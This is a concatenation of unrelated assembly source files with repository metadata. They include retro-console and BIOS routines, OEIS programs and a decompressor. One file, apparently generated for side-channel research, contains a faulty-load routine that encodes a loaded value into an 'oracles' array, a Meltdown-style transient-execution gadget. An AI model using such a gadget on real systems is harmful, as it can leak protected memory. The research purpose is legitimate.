41.181818
331
0.637969
28485cc25d8cc8223267ca1941211a7fa6767189
1,370
asm
Assembly
libsrc/input/svi/in_Inkey.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/input/svi/in_Inkey.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/input/svi/in_Inkey.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; uint in_Inkey(void) ; 08.2018 suborb ; Read current state of keyboard but only return ; keypress if a single key is pressed. SECTION code_clib PUBLIC in_Inkey PUBLIC _in_Inkey EXTERN in_keytranstbl read_row: inc d ld a,d out ($96),a in a,($99) cpl and a ret ; exit : carry set and HL = 0 for no keys registered ; else HL = ASCII character code ; uses : AF,BC,DE,HL ; .in_Inkey ._in_Inkey ld d,255 ld e,0 call read_row ;Row 0 jr nz,gotkey ld e,8 call read_row ;Row 1 jr nz,gotkey ld e,16 call read_row ;Row 2 jr nz,gotkey ld e,24 call read_row ;Row 3 jr nz,gotkey ld e,32 call read_row ;Row 4 jr nz,gotkey ld e,40 call read_row ;Row 5 jr nz,gotkey ld e,48 call read_row ;Row 6 and @11111100 ;Exclude shift and control keys jr nz,gotkey ld e,56 call read_row ;Row 7 jr nz,gotkey ld e,64 call read_row ;Row 8 jr nz,gotkey nokey: ld hl,0 ;No key pressed scf ret gotkey: ; a = key pressed ; e = offset ld c,8 hitkey_loop: rlca jr c,doneinc inc e dec c jr nz,hitkey_loop doneinc: ; e = offset in table ; Check for shift and control ld a,6 out ($96),a in a,($99) cpl ld bc, 72 * 2 bit 1,a ;Control jr nz, got_modifier ld bc, 72 bit 0,a jr nz,got_modifier ld bc,0 got_modifier: ld d,0 ld hl,in_keytranstbl add hl,bc add hl,de ld a,(hl) cp 255 jr z, nokey ld l,a ld h,0 and a ret
13.431373
52
0.672993
9c78311d2b31a8e2e03796c8f4b3c4233275cabe
240
asm
Assembly
data/mapHeaders/powerplant.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
16
2018-08-28T21:47:01.000Z
2022-02-20T20:29:59.000Z
data/mapHeaders/powerplant.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
5
2019-04-03T19:53:11.000Z
2022-03-11T22:49:34.000Z
data/mapHeaders/powerplant.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
2
2019-12-09T19:46:02.000Z
2020-12-05T21:36:30.000Z
PowerPlant_h: db FACILITY ; tileset db POWER_PLANT_HEIGHT, POWER_PLANT_WIDTH ; dimensions (y, x) dw PowerPlantBlocks, PowerPlantTextPointers, PowerPlantScript ; blocks, texts, scripts db $00 ; connections dw PowerPlantObject ; objects
34.285714
87
0.8
3acce4a2bcd974f9413524e8ef3699f63d7eb1c3
100
asm
Assembly
gfx/pokemon/charmeleon/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
gfx/pokemon/charmeleon/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
gfx/pokemon/charmeleon/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
frame 3, 08 frame 2, 08 frame 3, 08 frame 2, 08 frame 1, 15 frame 3, 08 frame 4, 30 endanim
11.111111
12
0.63
6505b3b16840e6c05faa7687106e21449519b810
25
asm
Assembly
projects/Links_Awakening_gb.windfish/configuration/macros/ifLt.asm
jverkoey/awaken
743755248996deb7181ae92f6e60be5656439c44
[ "Apache-2.0" ]
68
2020-12-16T10:06:48.000Z
2022-03-29T19:54:01.000Z
projects/Links_Awakening_gb.windfish/configuration/macros/ifLt.asm
jverkoey/awaken
743755248996deb7181ae92f6e60be5656439c44
[ "Apache-2.0" ]
62
2020-12-19T04:28:41.000Z
2021-02-15T22:18:16.000Z
projects/Links_Awakening_gb.windfish/configuration/macros/ifLt.asm
jverkoey/awaken
743755248996deb7181ae92f6e60be5656439c44
[ "Apache-2.0" ]
4
2021-01-17T03:51:22.000Z
2021-01-21T16:26:53.000Z
ld a, [#1] cp #2 jr c, #3
8.333333
10
0.44
3552d87ea56b60eea6b4d7982ac976329ffe2192
399
asm
Assembly
programs/oeis/082/A082988.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/082/A082988.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/082/A082988.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A082988: a(n)=sum(k=0,n,4^k*F(k)) where F(k) is the k-th Fibonacci number. ; 0,4,20,148,916,6036,38804,251796,1628052,10540948,68212628,441505684,2857424788,18493790100,119693957012,774676469652,5013809190804,32450060277652,210021188163476,1359285717096340,8797481879000980 lpb $0,1 mov $2,$0 cal $2,85449 ; Horadam sequence (0,1,4,2). sub $0,1 add $1,$2 mul $1,2 lpe div $1,2 mul $1,4
30.692308
198
0.729323
4daf3a618c2078134f9e337967588cee2f188275
888
asm
Assembly
PVPokeMini/PokeMini/pokemini-code/dev-misc/examples/framebuffer/framebuffer.asm
DaddyCal/Provenance
cda9464b4bef6dd48f9977047c4af90aca80c5a7
[ "BSD-3-Clause" ]
null
null
null
PVPokeMini/PokeMini/pokemini-code/dev-misc/examples/framebuffer/framebuffer.asm
DaddyCal/Provenance
cda9464b4bef6dd48f9977047c4af90aca80c5a7
[ "BSD-3-Clause" ]
null
null
null
PVPokeMini/PokeMini/pokemini-code/dev-misc/examples/framebuffer/framebuffer.asm
DaddyCal/Provenance
cda9464b4bef6dd48f9977047c4af90aca80c5a7
[ "BSD-3-Clause" ]
null
null
null
.include "pm_libs/pm_init.s" pm_header "TestFramebuf", IRQ_KEY_POWER, 0 ; Shutdown down when power key pressed irq_key_power: cint CINT_SHUTDOWN main: ; Enable interrupts enable_irqs IRQ_KEY_POWER | IRQ_PRC_COPY ; PRC_COPY declared to wake up HALT enable_mirq ; Blank LCD mov a, 0 cint CINT_TMP_CONTRAST ; Setup PRC mov [n+PRC_MODE], PRC_ENABLE mov [n+PRC_RATE], PRC_24FPS ; Copy image to VRAM mov y, teampokeme mov x, VRAM_BASE mov hl, 768 : mov a, [y] mov [x], a inc x inc y dec hl jnzb :b ; Fade in mov a, 0 : push a cint CINT_TMP_CONTRAST pop a halt inc a cmp a, $20 jnzb :b ; Wait for any key press mov a, 0 : halt mov a, [n+KEY_PAD] cmp a, $FF jzb :b ; Fade out mov a, $20 : push a cint CINT_TMP_CONTRAST pop a halt dec a jnzb :b ; Shutdown cint CINT_SHUTDOWN pm_align_tiles teampokeme: .incbin "teampokeme.bin" pm_rominfo
13.253731
77
0.697072
5d12ed58333bcd6e97ab657840a25219b6049d9d
6,981
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_2207.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_2207.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_2207.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x6785, %rdx nop nop inc %r8 movb $0x61, (%rdx) nop nop nop nop nop sub $50758, %rax lea addresses_UC_ht+0x49cb, %rcx nop cmp $37212, %rax movl $0x61626364, (%rcx) nop nop nop nop nop inc %rdx lea addresses_D_ht+0x10385, %rsi nop nop cmp $13716, %r12 mov $0x6162636465666768, %r11 movq %r11, (%rsi) nop nop cmp %rdx, %rdx lea addresses_normal_ht+0x18785, %r12 nop nop and $20901, %r8 vmovups (%r12), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %rax nop nop nop nop nop sub $61870, %r12 lea addresses_A_ht+0x2505, %rsi lea addresses_D_ht+0x1237e, %rdi nop nop nop nop nop and %rdx, %rdx mov $102, %rcx rep movsl nop nop inc %rax lea addresses_WC_ht+0x8785, %r12 nop sub $2621, %r8 movb (%r12), %dl sub $43408, %r12 lea addresses_normal_ht+0x18e85, %rsi nop nop add $63906, %rdx mov (%rsi), %r11w nop nop xor $62373, %rdi lea addresses_normal_ht+0x1cd85, %rsi lea addresses_normal_ht+0xd4c5, %rdi nop nop nop and $23971, %rax mov $40, %rcx rep movsl xor $52168, %rcx lea addresses_normal_ht+0x16585, %rdi nop cmp %rdx, %rdx mov (%rdi), %r8d nop nop nop nop inc %rdi lea addresses_WT_ht+0xafa5, %rsi lea addresses_D_ht+0x80f0, %rdi nop add $29045, %r12 mov $8, %rcx rep movsq nop nop nop nop nop sub $49871, %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %rax push %rbp push %rcx push %rdi // Store lea addresses_A+0x12b85, %rbp nop nop and %r15, %r15 mov $0x5152535455565758, %rcx movq %rcx, %xmm5 movaps %xmm5, (%rbp) nop sub $49451, %rbp // Store lea addresses_US+0x18e85, %rdi nop nop nop nop inc %rcx mov $0x5152535455565758, %rax movq %rax, (%rdi) nop nop xor $6429, %rbp // Faulty Load lea addresses_A+0x12b85, %rbp nop nop nop nop nop and $6178, %r14 mov (%rbp), %rax lea oracles, %rdi and $0xff, %rax shlq $12, %rax mov (%rdi,%rax,1), %rax pop %rdi pop %rcx pop %rbp pop %rax pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 2, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
35.257576
2,999
0.658358
b0d57b06a864b016b26b395483f0f877e54b6243
2,780
asm
Assembly
tools/files/applib/src/64bit/sdepack.asm
nehalem501/gendev
dcd86ccc88a08b8f0673ee496a015bf5747751ed
[ "BSD-3-Clause" ]
2,662
2015-01-01T23:46:09.000Z
2022-03-29T09:24:52.000Z
aPLib/src/64bit/sdepack.asm
NeuronAddict/the-backdoor-factory
14b87fa9b758eedbaef0496e3a88701e796a21e8
[ "BSD-3-Clause" ]
69
2015-01-25T20:55:18.000Z
2021-04-03T19:26:40.000Z
aPLib/src/64bit/sdepack.asm
NeuronAddict/the-backdoor-factory
14b87fa9b758eedbaef0496e3a88701e796a21e8
[ "BSD-3-Clause" ]
774
2015-01-01T23:46:01.000Z
2022-03-27T20:29:21.000Z
;; ;; aPLib compression library - the smaller the better :) ;; ;; fasm 64-bit safe assembler wrapper for aP_depack_asm_safe ;; ;; Copyright (c) 1998-2014 Joergen Ibsen ;; All Rights Reserved ;; ;; http://www.ibsensoftware.com/ ;; format MS64 COFF public aPsafe_depack extrn aP_depack_asm_safe extrn aP_crc32 ; ============================================================= section '.text' code readable executable aPsafe_depack: ; aPsafe_depack(const void *source, ; size_t srclen, ; void *destination ; size_t dstlen) mov [rsp + 8], rcx mov [rsp + 16], rdx mov [rsp + 24], r8 mov [rsp + 32], r9 push rdi sub rsp, 32 mov rdi, rcx ; rdi -> source test rcx, rcx jz .return_error test r8, r8 jz .return_error cmp rdx, 24 ; check srclen >= 24 jb .return_error ; mov eax, [rdi] ; eax = header.tag cmp eax, 032335041h ; check tag == 'AP32' jne .return_error mov eax, [rdi + 4] ; rax = header.header_size cmp eax, 24 ; check header_size >= 24 jb .return_error sub rdx, rax ; rdx = srclen without header jc .return_error ; cmp [rdi + 8], edx ; check header.packed_size is ja .return_error ; within remaining srclen add rcx, rax ; rcx -> packed data mov edx, [rdi + 8] ; rdx = header.packed_size call aP_crc32 cmp eax, [rdi + 12] ; check eax == header.packed_crc jne .return_error mov r9, [rsp + 72] ; r9 = dstlen mov edx, [rdi + 16] ; rdx = header.orig_size cmp rdx, r9 ; check header.orig_size is ok ja .return_error mov eax, [rdi + 4] ; rax = header.header_size mov rcx, [rsp + 48] ; rcx -> source mov edx, [rdi + 8] ; rdx = header.packed_size mov r8, [rsp + 64] ; r8 -> destination add rcx, rax ; rcx -> compressed data call aP_depack_asm_safe mov edx, [rdi + 16] ; rdx = header.orig_size cmp rax, rdx ; check rax == header.orig_size jne .return_error mov rcx, [rsp + 64] ; rcx -> destination call aP_crc32 cmp eax, [rdi + 20] ; check eax = header.orig_crc mov eax, [rdi + 16] ; rax = header.orig_size je .return_rax .return_error: or rax, -1 ; rax = -1 .return_rax: add rsp, 32 pop rdi ret ; =============================================================
24.821429
64
0.482374
a68b862ca55ee7bec215a6fd7d46eec1e486f4a1
4,252
asm
Assembly
src/bda.asm
pwk4m1/TinyBIOS
f9f0ec8b725717cac1756836cf68267e0ed77114
[ "BSD-3-Clause" ]
23
2019-09-28T17:33:32.000Z
2022-03-26T20:30:22.000Z
src/bda.asm
pwk4m1/TinyBIOS
f9f0ec8b725717cac1756836cf68267e0ed77114
[ "BSD-3-Clause" ]
null
null
null
src/bda.asm
pwk4m1/TinyBIOS
f9f0ec8b725717cac1756836cf68267e0ed77114
[ "BSD-3-Clause" ]
1
2022-03-24T13:12:04.000Z
2022-03-24T13:12:04.000Z
; BSD 3-Clause License ; ; Copyright (c) 2020, k4m1 <k4m1@protonmail.com> ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; * Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; ; * Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; ; * Neither the name of the copyright holder nor the names of its ; contributors may be used to endorse or promote products derived from ; this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR ; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR ; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, ; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, ; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR ; PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF ; LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING ; NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; ; This file contains code related to setting up BIOS Data Area (BDA) ; ; Memory map: ; ; addr (size) | description ; -=-=-=-=-=-=-=-=-=-=-=-=+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; 0x0400 (4 words) | IO ports for COM1-COM4 serial ; 0x0408 (3 words) | IO ports for LPT1-LPT3 parallel ; 0x040E (1 word) | EBDA base addr >> 4 ; 0x0410 (1 word) | packed bit flags for detected hw ; 0x0413 (1 word) | Number of kb's of mem before EBDA ; 0x0417 (1 word) | Keyboard state flags ; 0x041e (32 bytes) | keyboard buffer ; 0x0449 (1 byte) | Display mode ; 0x044A (1 word) | Number of columns in text mode ; 0x0463 (1 word) | base video IO port ; 0x046C (word) | # of IRQ0 timer ticks since boot ; 0x0475 (byte) | # of hard disk drives detected ; 0x0480 (word) | keyboard buffer start ; 0x0482 (word) | keyboard buffer end ; 0x0497 (byte) | last keyboard led/shift key state ; ; EBDA: ; used to store disk read status 'n other stuff for BIOS, nothing ; interesting in bootloader/os POV, none of this data is to be ; trusted by us internally as all of it can be changed by non-firmware ; program code! ; ; extended bios data area (EBDA) is to be set between ; 0x00080000 and 0x0009FFFF, that leaves us 128kb of memory to use. ; ; NOTE: if malloc() and free() are used after boot by interrupt ; handlers, use EBDA + <to be announced> for that. ; setup_bda: pusha pushf xor ax, ax mov es, ax mov edi, 0x0400 ; first, enumerate all serial devices & set them to ; 0x0400 -> call serial_enum_devices ; set parallel port addresses next call probe_lpt_ports ; if we use extended bios data area, set it's base next %ifdef EBDA mov ax, EBDA_BASE_ADDR ; NOTE: EBDA >> 4! stosw %endif ; next is flags for detected hw, that means: ; bit | meaning ; 15 | number of printer ports ; 14 | ^ ; 13 | not used ,interna lmodem (ps/2) ; 12 | game adapter ; 11 | number of serial ports ; 10 | ^ ; 9 | ^ ; 8 | 0 if DMA installed ; 7 | Diskette drive count ; 6 | ^ ; 5 | initial video mode ; 4 | ^ ; 3 | - ; 2 | less than 256k of ram ; 1 | math coprocessor ; 0 | IPL diskette installed mov ax, 0x342 stosw ; kilobytes before EBDA mov ax, 500 stosw ; keyboard state flags xor ax, ax stosw ; keyboard buffer (32 bytes) mov cx, 16 rep stosw ; display mode byte stosb ; number of columns in text mode (word) stosw ; base IO port for video stosw ; IRQ0 timer ticks since boot stosw ; hard disk drives detected call ata_disk_count mov ax, cx stosb ; keyboard buffer start & end xor ax, ax stosw stosw ; last kbd led/shift key state stosb popf popa ret
28.536913
77
0.698495
05cef2d496cf5fed72632312b46d4c14eb9d82e8
465
asm
Assembly
data/mapObjects/CeladonMartRoof.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/mapObjects/CeladonMartRoof.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/mapObjects/CeladonMartRoof.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
CeladonMartRoof_Object: db $42 ; border block db 1 ; warps warp 15, 2, 0, CELADON_MART_5F db 4 ; signs sign 10, 1, 3 ; CeladonMartRoofText3 sign 11, 1, 4 ; CeladonMartRoofText4 sign 12, 2, 5 ; CeladonMartRoofText5 sign 13, 2, 6 ; CeladonMartRoofText6 db 2 ; objects object SPRITE_BLACK_HAIR_BOY_2, 10, 4, STAY, LEFT, 1 ; person object SPRITE_LITTLE_GIRL, 5, 5, WALK, 0, 2 ; person ; warp-to warp_to 15, 2, CELADON_MART_ROOF_WIDTH ; CELADON_MART_5F
24.473684
62
0.724731
aa60241bf22aeac7cfc73fd220c8447267483907
799
asm
Assembly
SimpleCPU/Python/example5.asm
ivandumas/Multiprocesadores
d71e7d4bb8af05647861977652047c73f50ae6d3
[ "MIT" ]
null
null
null
SimpleCPU/Python/example5.asm
ivandumas/Multiprocesadores
d71e7d4bb8af05647861977652047c73f50ae6d3
[ "MIT" ]
null
null
null
SimpleCPU/Python/example5.asm
ivandumas/Multiprocesadores
d71e7d4bb8af05647861977652047c73f50ae6d3
[ "MIT" ]
3
2021-09-06T17:12:07.000Z
2021-09-19T00:05:53.000Z
MOV R0, #1; MOV R1, #0; MOV 10, R0; MOV 11, R1; MOV 12, R0; MOV 13, R1; MOV 14, R0; MOV 15, R1; MOV 16, R0; MOV 17, R1; MOV 18, R0; MOV 19, R1; MOV 20, R0; MOV R2, 10; JMPZ R2, P1; MOV R3, #1; P1: ADD R1, R1, R0; MOV R2, 11; JMPZ R2, P2; MOV R3, #2; P2: ADD R1, R1, R0; MOV R2, 12; JMPZ R2, P3; MOV R3, #3; P3: ADD R1, R1, R0; MOV R2, 13; JMPZ R2, P4; MOV R3, #4; P4: ADD R1, R1, R0; MOV R2, 14; JMPZ R2, P5; MOV R3, #5; P5: ADD R1, R1, R0; MOV R2, 15; JMPZ R2, P6; MOV R3, #6; P6: ADD R1, R1, R0; MOV R2, 16; JMPZ R2, P7; MOV R3, #7; P7: ADD R1, R1, R0; MOV R2, 17; JMPZ R2, P8; MOV R3, #8; P8: ADD R1, R1, R0; MOV R2, 18; JMPZ R2, P9; MOV R3, #9; P9: ADD R1, R1, R0; MOV R2, 19; JMPZ R2, P10; MOV R3, #10; P10: ADD R1, R1, R0; MOV R2, 20; JMPZ R2, P11; MOV R3, #11; P11: ADD R1, R1, R0; MOV 5, R1;
13.775862
20
0.566959
18bae3aaf264fb902e17e671104daf0a298b2c7b
283
asm
Assembly
libsrc/alloc/malloc-classic/malloc.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
libsrc/alloc/malloc-classic/malloc.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
libsrc/alloc/malloc-classic/malloc.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
; void __FASTCALL__ *malloc(unsigned int size) ; 12.2006 aralbrec SECTION code_clib PUBLIC malloc PUBLIC _malloc EXTERN HeapAlloc_callee EXTERN _heap, ASMDISP_HEAPALLOC_CALLEE .malloc ._malloc ld c,l ld b,h ld hl,_heap jp HeapAlloc_callee + ASMDISP_HEAPALLOC_CALLEE
14.894737
49
0.780919
49ee7d4abdfcc2657ed98a2283aa8e49b3326c9e
1,867
asm
Assembly
programs/oeis/195/A195032.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/195/A195032.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/195/A195032.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
